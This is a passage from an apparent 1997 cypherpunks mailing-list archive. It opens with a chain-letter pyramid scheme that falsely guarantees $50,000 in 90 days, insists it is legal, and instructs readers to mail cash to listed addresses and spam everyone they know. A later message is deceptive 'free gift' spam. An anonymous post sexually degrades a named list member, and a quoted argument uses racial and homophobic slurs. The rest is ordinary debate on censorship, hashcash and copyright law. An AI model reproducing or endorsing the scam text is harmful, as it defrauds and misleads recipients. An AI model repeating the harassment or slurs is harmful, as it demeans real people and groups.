remove the money, and send an e-mail message, then you're on your way to the
bank. Take the time to read this so you'll understand how easy it is.  If I can 
do this, so can you!


=====================================================
=====================================================

             *** Print This Now For Future Reference ***

The following income opportunity is one you may be interested in taking a look at.
It can be started with VERY LITTLE investmentand the income return is 
TREMENDOUS!!!  

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

You are about to make at least $50,000 in less than 90 days!  
Please read the enclosed program...THEN READ IT AGAIN!!!

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY.
It does not require you to come into contact with people, do any hard work, and
best of all, you never have to leave the house except to get the mail.  If you
believe that someday you'll get that big break that you've been waiting for,
THIS IS IT!  Simply follow the instructions, and your dream will come true.
This multi-level e-mail order marketing program works perfectly...100% 
EVERY TIME.  E-mail is the sales tool of the future.  Take advantage of this 
non-commercialized method of advertising NOW!!!  The longer you wait, the more
people will be doing business using e-mail.  Get your piece of this action!!!  

MULTI-LEVEL MARKETING (MLM) has finally gained respectability.
It is being taught in the Harvard Business School, and both Stanford Research
and the Wall Street Journal have stated that between 50% and 65% of all goods 
and services will be sold through multi-level methods by the mid to late 1990's.
This is a Multi-Billion Dollar industry and of the 500,000 millionaires in the
U.S., 20% (100,000)  made their fortune in the last several years in MLM.
Moreover, statistics show 45 people become millionaires everyday through
Multi-Level Marketing. 

The enclosed information is something I almost let slip through my fingers.  
Fortunately, sometime later I re-read everything and gave some thought and 
study to it.  

My name is Christopher Erickson.  Two years ago, the corporation I 
worked at for the past twelve years down-sized and my position was 
eliminated.  After unproductive job interviews, I decided to open my 
own business.  Over the past year, I incured many unforeseen 
financial problems.  I owed my family, friends and creditors over
$35,000.  The economy was taking a toll on my business and I just
couldn't seem to make ends meet.  I had to refinance and borrow 
against my home to support my family and struggling business.  AT
THAT MOMENT something significant happend in my life and I am
writing to share the experience in hopes that this will change your
life FOREVER FINANCIALLY!!!

In mid December, I received this program via e-mail.  Six month's 
prior to receiving this program I had been sending away for 
information on various business opportunities.  All of the programs 
I received, in my opinion, were not cost effective.  They were either 
too difficult for me to comprehend or the initial investment was too 
much for me to risk to see if they would work or not.  One claimed 
that I would make a million dollars in one year...it didn't tell me 
I'd have to write a book to make it!  

But like I was saying, in December of 1995 I received this program.  
I didn't send for it, or ask for it, they just got my name off a 
mailing list. THANK GOODNESS FOR THAT!!!  After reading 
it several times, to make sure I was reading it correctly, I couldn't 
believe my eyes.  Here was a MONEY MAKING PHENOMENON.
I could invest as much as I wanted to start, without putting me 
further into debt.  After I got a pencil and paper and figured it 
out, I would at least get my money back.  After determining the 
program was LEGAL and NOT A CHAIN LETTER, I decided 
"WHY NOT."

Initially I sent out 10,000 e-mails.  It cost me about $15.00 for my 
time on-line.  The great thing about e-mail is that I don't need any 
money for printing to send out the program, only the cost to fulfill 
my orders.  I am telling you like it is, I hope it doesn't turn you 
off, but I promised myself that I would not "rip-off" anyone, no 
matter how much money it cost me!


In less than one week, I was starting to receive orders for REPORT #1.  
By January 13, I had received 26 orders for REPORT #1.  When you read the 
GUARANTEE in the program, you will see that "YOU MUST RECEIVE 15-20
ORDERS FOR REPORT #1 WITHIN 2 WEEKS.  IF YOU DON'T, SEND OUT
MORE PROGRAMS UNTIL YOU DO!" 
My first step in making $50,000 in 20-90 days was done. By January 30,
I had received 196 orders for REPORT #2.  If you go back to the GUARANTEE, 
"YOU MUST RECEIVE 100+ ORDERS FOR REPORT #2 WITHIN 2 WEEKS.  
IF NOT, SEND OUT MORE PROGRAMS UNTIL YOU DO.  ONCE YOU HAVE 100 
ORDERS, THE REST IS EASY, RELAX, YOU WILL MAKE YOUR $50,000 
GOAL"  Well, I had 196 orders for REPORT #2, 96 more than I needed.  So I sat 
back and relaxed.  By March 19, of my e-mailing of 10,000, I received $58,000
with more coming in every day.  

I paid off ALL my debts and bought a much needed new car.  Please take time 
to read the attatched program, IT WILL CHANGE YOUR LIFE FOREVER!!!  
Remember, it won't work if you don't try it.  This program does work, but you 
must follow it EXACTLY!  Especially the rules of not trying to place your name 
in a different place.  It won't work, you'll lose out on a lot of money!  
REPORT #2 explains this. Always follow the guarantee, 15-20 orders for 
REPORT #1, and 100+ orders for REPORT #2 and you will make $50,000 or more in 
20-90 days.  I AM LIVING PROOF THAT IT WORKS!!!

If you choose not to participate in this program, I am sorry.  It really is a 
great opportunity with little cost or risk to you.  If you choose to participate, 
follow the program and you will be on your way to financial security.  

If you are a fellow business owner and are if financial trouble like I was, or 
you want to start your own business, consider this a sign. I DID!

                               Sincerely,             

                         Christopher Erickson   


P.S. Do you have any idea what 11,700  $5 bills ($58,000) look like 
piled up on a kitchen table?  IT'S AWESOME!


A PERSONAL NOTE FROM THE ORGINATOR OF THIS PROGRAM:

By the time you have read the enclosed program and reports, you should have 
concluded that such a program, and one that is legal, could not have been created 
by an amateur.  

Let me tell you a little about myself.  I had a profitable business for 10 years.  
Then in 1979 my business began falling off.  I was doing the same things that were
previously successfull for me, but it wasn't working.  Finally, I figured it out.  
It wasn't me, it was the economy.  Inflation and recession had replaced the stable 
economy that had been with us since 1945.  I don't have to tell you what happend to
the unemployment rate... because many of you know from first hand experience.  
There were more failures and bankruptcies than ever before. 

The middle class was vanishing.  Those who knew what they were doing invested 
wisely and moved up.  Those who did not, including those who never had anything to
save or invest, were moving down into the ranks of the poor.  As the saying goes, 
"THE RICH GET RICHER AND THE POOR GET POORER."  The traditional methods
of making money will never allow you to "move up" or "get rich", inflation will 
see to that.

You have just received information that can give you financial freedom for the rest
of your life, with "NO RISK" and "JUST A LITTLE BIT OF EFFORT."  
You can make more money in the next few months than you have ever imagined.  

I should also point out that I will not see a penny of this money, nor anyone else 
who has provided a testimonial for this program.  I have already made over 
4 MILLION DOLLARS!  I have retired from the program after sending out over 
16,000 programs.  Now I have several offices that make this and several other 
programs here and over seas.  By the spring we wish to market the "internet" by a
partnership with AMERICA ON LINE.  

Follow the program EXACTLY AS INSTRUCTED.  Do not change it in any way.  
It works exceedingly well as it is now.  Remember to e-mail a copy of this exciting 
report to everyone you can think of. One of the people you send this to may send out 
50,000...and your name will be on everyone of them!  Remember though, the more
you send out the more potential customers you will reach.  

So my friend, I have given you the ideas, information, materials and opportunity 
to become financially independent, IT IS UP TO YOU NOW!


"THINK ABOUT IT"
Before you delete this program from your mailbox, as I almost did, take a little 
time to read it and REALLY THINK ABOUT IT.  Get a pencil and figure out what could 
happen when YOU participate. Figure out the worst possible response and no matter 
how you calculate it, you will still make a lot of money!  You will definitely get
back what you invested.  Any doubts you have will vanish when your first orders 
come in.  IT WORKS!                    
                                     Paul Johnson, Raleigh, NC


HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$

Let's say that you decide to start small, just to see how it goes, and we'll 
assume you and all those involved send out only 2,000 programs each.  Let's also 
assume that the mailing receives a 0.5% response.  Using a good list the response 
could be much better. Also many people will send out hundreds of thousands of 
programs instead of 2,000.  But continuing with this example, you send out only 
2,000 programs.  With a 0.5% response, that is only 10 orders for REPORT #1.  
Those 10 people respond by sending out 2,000 programs each for a total of 20,000.  
Out of those 0.5%, 100 people respond and order REPORT #2. Those 100 mail out 
2,000 programs each for a total of 200,000.  The 0.5% response to that is 1,000 
orders for REPORT #3.  Those 1,000 send out 2,000 programs each for a 2,000,000 
total.  The 0.5% response to that is 10,000 orders for REPORT #4.  That's 10,000 
$5 bills for you.  CASH!!! Your total income in this example is 
$50 + $500 + $5,000 + $50,000 for a total of $55,550!!!

REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF THE 2,000 PEOPLE 
YOU MAIL TO WILL DO ABSOLUTELY NOTHING AND TRASH THIS PROGRAM!  
DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE, OR HALF 
SENT OUT 100,000 PROGRAMS INSTEAD OF 2,000.  
Believe me, many people will do just that, and more!  By the way, your cost to 
participate in this is practically nothing.  You obviously already have an 
internet connection and e-mail is FREE!!!  REPORT #3 will show you the best 
methods for bulk e-mailing and obtaining e-mail lists. 

INSTRUCTIONS:
We at Erris Mail Order Marketing Businesses, have a method of raising capital that
REALLY WORKS 100% EVERYTIME.  I am sure that you could use 
$50,000 to $125,000 in the next 20-90 days. Before you say "BULL... ", 
please read this program carefully.  

This is not a chain letter, but a perfectly legal money making opportunity.  
Basically, this is what you do:  As with all multi-level business, we build our 
business by recruiting new partners and selling our products.  Every state in the 
USA allows you to recruit new multi-level business partners, and we offer a 
product for EVERY dollar sent.  YOUR ORDERS COME AND ARE FILLED
THROUGH THE MAIL, so you are not involved in personal selling.  You do it 
privately in your own home, store or office.  
This is the GREATEST Multi-Level Mail Order Marketing anywhere: 

Step (1)  Order all four (4) REPORTS listed by NAME AND NUMBER.  
Do this by ordering the REPORT from each of the four (4) names 
listed on the next page.  For each REPORT, send $5 CASH and a 
SELF-ADDRESSED STAMPED envelope (BUSINESS SIZE #10) to the person 
listed for the SPECIFIC REPORT.  International orders should also
include $1 extra for postage.  It is essential that you specify 
the NAME and NUMBER of the REPORT requested to the person you are
ordering it from.  You will need ALL FOUR (4) REPORTS because you 
will be REPRINTING and RESELLING them.  DO NOT alter the names
or sequence other than what the instructions say. 

IMPORTANT: Always provide same-day service on all orders.  

Step (2)  Replace the name and address under REPORT #1 with
your's, moving the one that was there down to REPORT #2.  Drop 
the name and address under REPORT #2 TO REPORT #3,  moving 
the one that was there to REPORT #4.  The name and the address 
that was under REPORT #4 is dropped from the list and this party 
is no doubt on the  way to the bank.  When doing this, make certain
you type the names and addresses ACCURATELY!!!  DO NOT 
MIX UP MOVING PRODUCT/REPORT POSITIONS!!!

Step (3) Having made the requested changes in the NAME list, save
it as text (.txt) file in it's own directory to be used with whatever 
e-mail program you like.  Again, REPORT #3 will tell you the best 
methods of bulk e-mailing and acquiring e-mail lists.  

Step (4)  E-mail a copy of the entire program (all of this is very 
important) to everyone whose address you can get your hands on.  
Start with friends and relatives since you can encourage them to take
advantage of this fabulous money-making opportunity.  That's what I 
did.  And they love me now, more than ever.  Then, e-mail to anyone 
and everyone!  Use your imagination!  You can get e-mail addresses 
from companies on the internet who specialize in e-mail mailing 
lists.  These are very cheap, 100,000 addresses for around $35.  

IMPORTANT:  You won't get a good response if you use an old
list, so always request a FRESH, NEW list.  You will find out where
to purchase these lists when you order the four (4) REPORTS.  

ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!

REQUIRED REPORTS:
***Order each REPORT by NUMBER and NAME***

ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE
AND $5 CASH FOR EACH ORDER REQUESTING THE 
SPECIFIC REPORT BY NAME AND NUMBER.
____________________________________________________

REPORT #1 
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"

ORDER REPORT #1 FROM: 

CONSUMER MARKETING
10223-B Univ. City Blvd. #197
Charlotte, NC 28213

____________________________________________________

REPORT #2
"MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

ORDER REPORT #2 FROM:

Kathy Smith
5312 S. E. 30 Ave.
Ocala, FL 34480-7524

____________________________________________________

REPORT #3 
"SOURCES FOR THE BEST MAILING LISTS"

ORDER REPORT #3 FROM:

Liberty Publishing Inc.
2107 W. Commonwealth Ave. Dept. 264
Alhambra, Ca 91803

____________________________________________________


REPORT #4
"EVALUATING MULTI-LEVEL SALES PLANS"

ORDER REPORT #4 FROM:

SOM CO..
2168 S. Atlantic Blvd #101
Monterey Park, CA 91754
____________________________________________________



CONCLUSION:
I am enjoying my fortune that I made by sending out this program.  
You too, will be making money in 20-90 days, if you follow the
SIMPLE STEPS outlined in this mailing.

To be financially independent is to be FREE.  Free to make financial 
decisions as never before.  Go into business, get into investments, 
retire or take a vacation.  No longer will a lack of money hold you 
back.

However, very few people reach financial independence, because
when opportunity knocks, they choose to ignore it.  It is much 
easier to say "NO" than "YES", and this the question that you must 
answer.  Will YOU ignore this amazing opportunity or will you 
take advantage of it?  If you do nothing, you have indeed missed 
something and nothing will change.  Please re-read this material, 
this is a special opportunity.  If you have any questions, please 
feel free to write to the sender of this information.  You will get
a prompt and informative reply.

My method is simple.  I sell thousands of people a product for $5 
that cost me pennies to produce and e-mail.  I should also point out 
that this program is LEGAL and everyone who participates WILL
make money.  This is not a chain letter or a pyramid scam.  At times 
you probably received chain letters, asking you to send money, on 
faith, but getting NOTHING in return, NO product what-so-ever!  
Not only are chain lettters illegal, but the risk of someone breaking 
the chain  makes them quite unattractive.

You are offering a legitimate product to your people.  After they 
purchase the product from you, they reproduce more and resell them.  
It's simple free enterprise.  As you learned from the enclosed 
material, the PRODUCT is a series of four (4) FINANCIAL AND
BUSINESS REPORTS.  The information contained in these
REPORTS will not only help you in making your participation in 
this program more rewarding, but will be useful to you in any other 
business decisions you make in the years ahead.  You are also 
buying the rights to reprint all of the REPORTS, which will be 
ordered from you by those to whom you mail this program.  The 
concise one and two page REPORTS you will be buying can easily 
be reproduced at a local copy center for a cost of about 3 cents a
copy.  Best wishes with the program and Good Luck!







From whgiii at invweb.net  Fri Dec 19 08:07:17 1997
From: whgiii at invweb.net (William H. Geiger III)
Date: Sat, 20 Dec 1997 00:07:17 +0800
Subject: White House admits censoring Chinese dissident
In-Reply-To: 
Message-ID: <199712191602.LAA01075@users.invweb.net>



-----BEGIN PGP SIGNED MESSAGE-----

In , on 12/19/97 
   at 08:42 AM, Declan McCullagh  said:

>    "We can only assume from this that not offending Beijing is more
>important to the administration than exerting pressure on China to
>release more dissidents and improve its human rights record," he said.

I think their biggest concern is not upsetting a major contributor to
their campain. :=/

Let's not forget that we have the '98 elections comming up and the
Democrats need that Chinese money to help them in their bid to retake the
House not to mention that the 2000 Presidential elections are not that far
off.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNJqaZo9Co1n+aLhhAQK4pwP/eemMiHVbPoSk6+gwVKjO8JbUVK5BMtL7
FiFnOYidEl4hwGJumkOvvj3bwi4p4xF1oYW2kFZPu/WKMWu1fcqaxrFX+8BwsElS
J3DE+e7KBtg1QbdXut8OisDaowXQfLMD/wN30hlX/WnBsGR9tNsk8Fkw1jD569Kp
f8CQ1Fed1NA=
=Koqs
-----END PGP SIGNATURE-----






From jmr at shopmiami.com  Fri Dec 19 08:07:20 1997
From: jmr at shopmiami.com (Jim Ray)
Date: Sat, 20 Dec 1997 00:07:20 +0800
Subject: White House admits censoring Chinese dissident
Message-ID: <3.0.16.19971219105001.3a7fa1a6@pop.gate.net>



-----BEGIN PGP SIGNED MESSAGE-----

At 08:42 AM 12/19/97 -0500, Declan McCullagh wrote:
>===========
>
>                            South China Morning Post
>
>                               December 19, 1997
>
>Storm over block on Wei TV broadcast; White House red-faced after
>censorship admission
>
>By Simon Beck
>
>
>    The Clinton administration was in the middle of a firestorm yesterday
>after officials admitted blocking a global broadcast of a Wei Jingsheng
>interview for fear of annoying China.
>
>    After winning praise for receiving Mr Wei in the White House last week,
>President Bill Clinton's officials were embarrassed to have to admit
>blocking the broadcast on the state-owned global network Worldnet.
>
>    Officials tried in vain to stop the government radio station, Voice of
>America (VOA), from broadcasting the interview, but succeeded in blocking
>it from Worldnet.
>
>    Both broadcasting arms are run by the official US Information Agency
>(USIA).

...And people still wonder why us "social Darwinists" oppose
state ownership of "news" media.  I wonder if I should
say "'your taxes' _or_ 'their contributions' at work."
JMR

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Freedom isn't Freeh.

iQEPAwUBNJqXdTUhsGSn1j2pAQHeEQfQ4oMBYBxh5Ad5X8ICkDXj/llDBDts4ybD
yHlO8bMQ2TMOY3qQ6UizQX0dMntVzoHZUGJ92Lo4bfrtcCwrpHsE7wqGozpTziqj
2BZH+N5pBiyMu8mdn2PayOLuYB5xdOPuasENgBGTk07nGrDivClbPE/YQpFBQ4BJ
9GzxzVC8xSzAwnd8rV59iqbaqpLnf5iaYxhEJzAwnI7JbkOwpTTAF4XtKi1SXfm2
otBQJCzwR49vqyFEfrvCPC3STRmqJfCpyiNn/jDrJKY30/yAd0OuiX7/4cBkcPbd
N4d+QqjDUJhEHXHICOTkCjjkNDl9zOS9LcvYSu7ySYMQcw==
=7hi3
-----END PGP SIGNATURE-----






From anon at anon.efga.org  Fri Dec 19 08:32:22 1997
From: anon at anon.efga.org (Anonymous)
Date: Sat, 20 Dec 1997 00:32:22 +0800
Subject: No Subject
Message-ID: <05a79d8a3ebc8dd3d1e6223c72ebb798@anon.efga.org>



Timmy C. May will fuck anything that moves, 
but he'd rather be fucking his own mother's 
dead body.

     /'''
     c-OO Timmy C. May
        \
       -






From tcmay at got.net  Fri Dec 19 08:58:25 1997
From: tcmay at got.net (Tim May)
Date: Sat, 20 Dec 1997 00:58:25 +0800
Subject: Fees for delivery not set by standards committees
In-Reply-To: <349b9ea2.5036920@128.2.84.191>
Message-ID: 



At 3:26 PM -0700 12/17/97, Steve Schear wrote:
>>On 17 Dec 1997 02:21:48 -0600, in local.cypherpunks you wrote:
>>Yes, but if you just phase it in over time, what benefit, if any, will
>>users see until hashcash is fully deployed.  Until that time, people will
>>still have to accept email without hashcash or risk losing important
>>messages.
>
>If I want to send an important message to you and I get a hashcash
>rejection reponse and I'm given a Web site where I can get a Java applet
>to create the hashcash, I'll do it.  We all know we must affix postage to
>our snailmail. Its time to embrace the postal system's paradigm and
>educate the reminder of the Net.  Those

This "We all know we must affix postage to our snailmail. " is misleading,
as there is no "must affix postage" ontologically wired into mail delivery.
Or package delivery. Indeed, package deliverers charge what the market will
bear, and prices move around as competitors jockey for market share.

If a private network decides to charge for packet delivery, then the price
will be what the price is, determined by a variety of factors. Ditto for
remailers.

The solution is not at the "international standards" level.

>All we need is a small, influential, group to sing the praises of
>hashcash.  I'm sure Declan and Wired will pick up the banner if what we
>come up with works.  After that IETF activity is a far gone conclusion.

"Far gone" is probably correct. Foregone is not.

I doubt that puff pieces in "Wired" will do much. And all those cover
stories showing Jaron Lanier and his dreadlocks jacking into virtual
reality did exactly what for VR, besides selling some magazines?

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From joton at indo-mail.com  Fri Dec 19 09:47:55 1997
From: joton at indo-mail.com (joton at indo-mail.com)
Date: Sat, 20 Dec 1997 01:47:55 +0800
Subject: free gifts
Message-ID: <199712202140_BulkE www.wmsoftware.com>



Hi

We are computer shops that have branch in several countries.We have branch in San Diego, Washington and Alabama. Our Head office is in Taiwan.

We will go wide in 1998. Now we also have branch in Europe, and one of our shop just opened in Poland.

We sell computer accessories and cd's. Since this is our first time in the net, then we want to offer you very cheap computer accessories. We are working with 11 eleventh service to randomly select you.

You can purchase our product or just get free catalog and souvenir from our shop. 
Now we will offer you computer accessories with very low prices.
And our souvenir is worth more than $ 50.

Because this is only for trial before we go wide in January 1998, then we sell very cheap computer accessories. It cost you almost nothing. And if you check our Home page, then you will automatically be the participant of our big computer contest. You can get Pentium II computer for free or cash $ 1000. And we give it freely for 25 people around the world.

Since we picked you randomly, then you automatically get our 10 % discount and you will be our participant big contest if you go and check out Home page.

Just get your souvenir and catalog for free (it costs you nothing, we deliver it for free at your door)

Visit us in : http://www.bitsmart.com/joton_compushop

Go to our Home page, then you get free souvenir and catalog. !!! Don't miss this chance..!!
----------------------------------------
Joton Compu Shop 1997
----------------------------------------







From honig at otc.net  Fri Dec 19 10:24:31 1997
From: honig at otc.net (David Honig)
Date: Sat, 20 Dec 1997 02:24:31 +0800
Subject: Freedom Forum report on the State of the First Amendment
In-Reply-To: 
Message-ID: <3.0.5.32.19971219094521.007b9dc0@otc.net>



At 10:40 PM 12/18/97 -0500, Marc Rotenberg wrote:

>
>Tim's analysis is nonsensical.
>
>A government employee loses his job because of his political
>views. He brings a lawsuit, alleging a violation of the First
>Amendment, and eventually prevails in the Supreme Court.
>
>A non-government employee who loses his job because of his
>political views would have no cause of action because the
>private employer is not bound by the First Amendment.
>
>Therefore there should be far fewer government employees
>to prevent further erosion of the First Amendment.

I.e., people not working for the government have no first-amendment claims
agains their employer since the *first amendment constrains only government*.


>>Suppose RealBig Corporation fired Umbehr for his views. Would a First
>>Amendment issue have arisen? Of course not. In a free society, RealBig is
>>free to hire whom it wishes, and to refuse to hire niggers, homos,
>>perverts, Jews, whatever. And to fire anyone who wrote opinions the
>>managers at RealBig disliked.
>
>Substitute "fascist society" for "free society" in the paragraph
>above and the discussion begins to make some sense. Hell, it's even
>historically accurate.

Marc, you have declared how far you take freedom: you apparently
believe it is proper for the government to intervene in private hiring
decisions.  Unfortunately many americans believe this intrusion is justified.

A less statist viewpoint holds that government should not be used to control
employment  since both parties consent voluntarily -and therefore,
an employer has the right to hire and fire at will -including for
'distasteful' reasons.

The issue is confounded in the anecdote because the employer is government
in this case, 
and we might expect government to be obligated to hire and fire only on the
basis of merit.  In a *free* world *employers* can fire for speech;
government can't
interfere in speech.  

In the US today, employers do not have that freedom.  Government outlaws
employers freedom to hire and fire ---except against recreational
pharmaceutical consumers--- and the populace considers this permissible in
the name of harmony.  

If one ever questions this in public, as Tim did, the liberal response is
to show that
unPC 'discrimination' is possible if humans are free, and then the dutiful
citizen gladly sacrifices employers' liberty for their warm and fuzzy
feelings.

The first amendment is about what government can't do to you, not what your
neighbor can or can't do.









------------------------------------------------------------
      David Honig                   Orbit Technology
     honig at otc.net                  Intaanetto Jigyoubu

	M-16 : Don Quixote :: PGP : Louis Freeh
         Let freedom ring (or screech at 28.8)

















From honig at otc.net  Fri Dec 19 10:24:59 1997
From: honig at otc.net (David Honig)
Date: Sat, 20 Dec 1997 02:24:59 +0800
Subject: Can I do Pubkic Domain that -
In-Reply-To: <3.0.5.32.19971218135434.007b3e00@otc.net>
Message-ID: <3.0.5.32.19971219084949.007bc9a0@otc.net>



At 06:39 PM 12/18/97 -0700, Tim May wrote:
>At 2:54 PM -0700 12/18/97, David Honig wrote:
>
>>I was alluding to the licensing of ordinary photocopiers and fax machines
>>(and computers,
>>and now internet connections) in statist nations, to prevent their "misuse".
>>In the 50's, the government should have
>>(from the control point of view) used the hysteria of the times to regulate
>>*domestic* use of reprogrammable computers.
>
>Nope. The government of the United States had no authority in the 1950s to
>regulate fax machines (which existed then), mimeograph machines (which
>existed then), or computers (which existed then).
>
>Perhaps you were thinking of the Soviet Union?
>
>--Tim May


Soviets, China, etc.  I was being facetious.  I understand that our pesky
constitution
prevents certain government behaviors, but they're working to eliminate
that problem.

cheers


------------------------------------------------------------
      David Honig                   Orbit Technology
     honig at otc.net                  Intaanetto Jigyoubu

	M-16 : Don Quixote :: PGP : Louis Freeh
         Let freedom ring (or screech at 28.8)

















From real at freenet.edmonton.ab.ca  Fri Dec 19 10:25:21 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Sat, 20 Dec 1997 02:25:21 +0800
Subject: your mail
In-Reply-To: <05a79d8a3ebc8dd3d1e6223c72ebb798@anon.efga.org>
Message-ID: 



On Fri, 19 Dec 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Timmy C. May will fuck anything that moves, 
> but he'd rather be fucking his own mother's 
> dead body.
> 
>      /'''
>      c-OO Timmy C. May
>         \
>        -
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email :  : 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From tcmay at got.net  Fri Dec 19 10:57:44 1997
From: tcmay at got.net (Tim May)
Date: Sat, 20 Dec 1997 02:57:44 +0800
Subject: Freedom Forum report on the State of the First Amendment
In-Reply-To: 
Message-ID: 



At 10:45 AM -0700 12/19/97, David Honig wrote:

>The issue is confounded in the anecdote because the employer is government
>in this case,
>and we might expect government to be obligated to hire and fire only on the
>basis of merit.  In a *free* world *employers* can fire for speech;
>government can't
>interfere in speech.

Yes, this was my main point, that when viewing government AS AN EMPLOYER
there are things that government employer can do which would not be
permissable, constitutionally, for the government to do to ordinary
citizens. It can tell employees what clothing to wear (uniforms, dress
codes), it can tell employees where they must be at what times, and it can
even tell classes of employees what they may say even when not "on the job."

(Without getting into nitpicking, there are rules restricting what
employees of the military, for example, may say about political candidates.
Does this restrict their First Amendment rights? Not if they agreed to
these restrictions, as they did when they joined the military.)

And the government as an employer has all sorts of abilities to fire
employees who speak out of line. If the Secretary of State announces she is
now supporting a Republican candidate for President, does not President
Clinton have every right to can her? Or if the Director of the FBI
announces he has proof that Martians are beaming signals into his
fillings....

And employees of the NSA may be fired if they divulge information.

Or imagine a senior White House official announcing that Christianity is
sinful...are his religious freedoms being infringed upon if the President
fires him? How about if he was making his comments "after hours"? It makes
no difference.

And so on, for many such examples. None of these actions, in my view (and
apparently in the view of the courts, which have not thrown out such
government-as-employer rules), are violations of the First Amendment, or
any other amendments.

Some employees of the government may have employment contracts or union
contracts, and these may define the circumstances under which employees may
be fired, or disciplined, or told what they can say.

Now it may not be _smart_ of some government agency to try to restrict the
off-the-job speech of military personnel, NSA employees, or Department of
the Interior forest rangers, but the issues are not compelling First
Amendment issues.

The government AS EMPLOYER has the ability to impose restrictions on
employees, as all employers do, that are fundamentally different from the
restrictions government can impose on free citizens.

>In the US today, employers do not have that freedom.  Government outlaws
>employers freedom to hire and fire ---except against recreational
>pharmaceutical consumers--- and the populace considers this permissible in
>the name of harmony.

Indeed, we are moving away from "liberty" toward "fraternity" as the
cornerstone of our society.

>If one ever questions this in public, as Tim did, the liberal response is
>to show that
>unPC 'discrimination' is possible if humans are free, and then the dutiful
>citizen gladly sacrifices employers' liberty for their warm and fuzzy
>feelings.
>
>The first amendment is about what government can't do to you, not what your
>neighbor can or can't do.

Agreed, except that I would add that the Constitution doesn't preclude the
government, as an employer, from setting rules for its employees.

Even in George Washington's day, I'm sure if one of the White House's
servants announced that it was his constitutional right to say whatever he
pleased and to wear whatever he pleased and to pray to Baal 10 times a day,
that no one would take him seriously.

(Perhaps a Supreme Court clerk can begin speaking only in Urdu, and then
when he is fired he can file a lawsuit claiming his First Amendment rights
were violated?)

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From stewarts at ix.netcom.com  Fri Dec 19 10:59:41 1997
From: stewarts at ix.netcom.com (stewarts at ix.netcom.com)
Date: Sat, 20 Dec 1997 02:59:41 +0800
Subject: Clinton signs draconian antipiracy law, from the Netly News
In-Reply-To: <3.0.3.32.19971217170754.03dc2f70@pop.mindspring.com>
Message-ID: <3.0.3.32.19971219101847.00713d68@popd.ix.netcom.com>



At 01:47 PM 12/18/1997 -0700, Tim May wrote:
>All of this about jail time for copying CDs is nonsense, even under the new
>law.
>
>Some years back, circa 1989-91 or so, Congress passed a new tax on blank
>tape and other such blank media...we've all been paying a little bit for
>blank media as a result of this law. (The name of the law is no longer on
>the tip of my tongue, but it was something about intellectual property
>rights, or somesuch--the name may be the "Home Recording Act," it now
>occurs to me.)
>
>One of the key provisions was that home taping, or archival taping, or
>taping for any _noncommercial_ use was now fully legal, with not even the
>hint of illegality.

But new laws generally override old laws.  After all, the old Copyright law
excepted "fair use" copies from its coverage.  The mere fact that they're
still taxing blank tape doesn't mean they can't re-criminalize copying.
				Thanks! 
					Bill
Bill Stewart, bill.stewart at pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639






From stewarts at ix.netcom.com  Fri Dec 19 11:00:24 1997
From: stewarts at ix.netcom.com (stewarts at ix.netcom.com)
Date: Sat, 20 Dec 1997 03:00:24 +0800
Subject: Clinton signs draconian antipiracy law, from the Netly News
In-Reply-To: 
Message-ID: <3.0.3.32.19971219101514.00713d68@popd.ix.netcom.com>



At 02:30 PM 12/18/1997 -0700, Tim May wrote:
>What I meant by this was that the Copyright Cops will only go after those
>who illegally copy the items made by big corporations and other friends of
>the enforcers. Netscape and Oracle are Friends of Bill, so they'll get
>quick attention. Joe Blow will be put on hold.

Of course, most of your CDs are made by Disney-Sony-Megacorp, who are
also Friends of Bill.  On the other hand, one extra backup copy of
FooBar Development Tool will get you.

>"Anarchist's home in mountains raided...thousands of dollars worth of
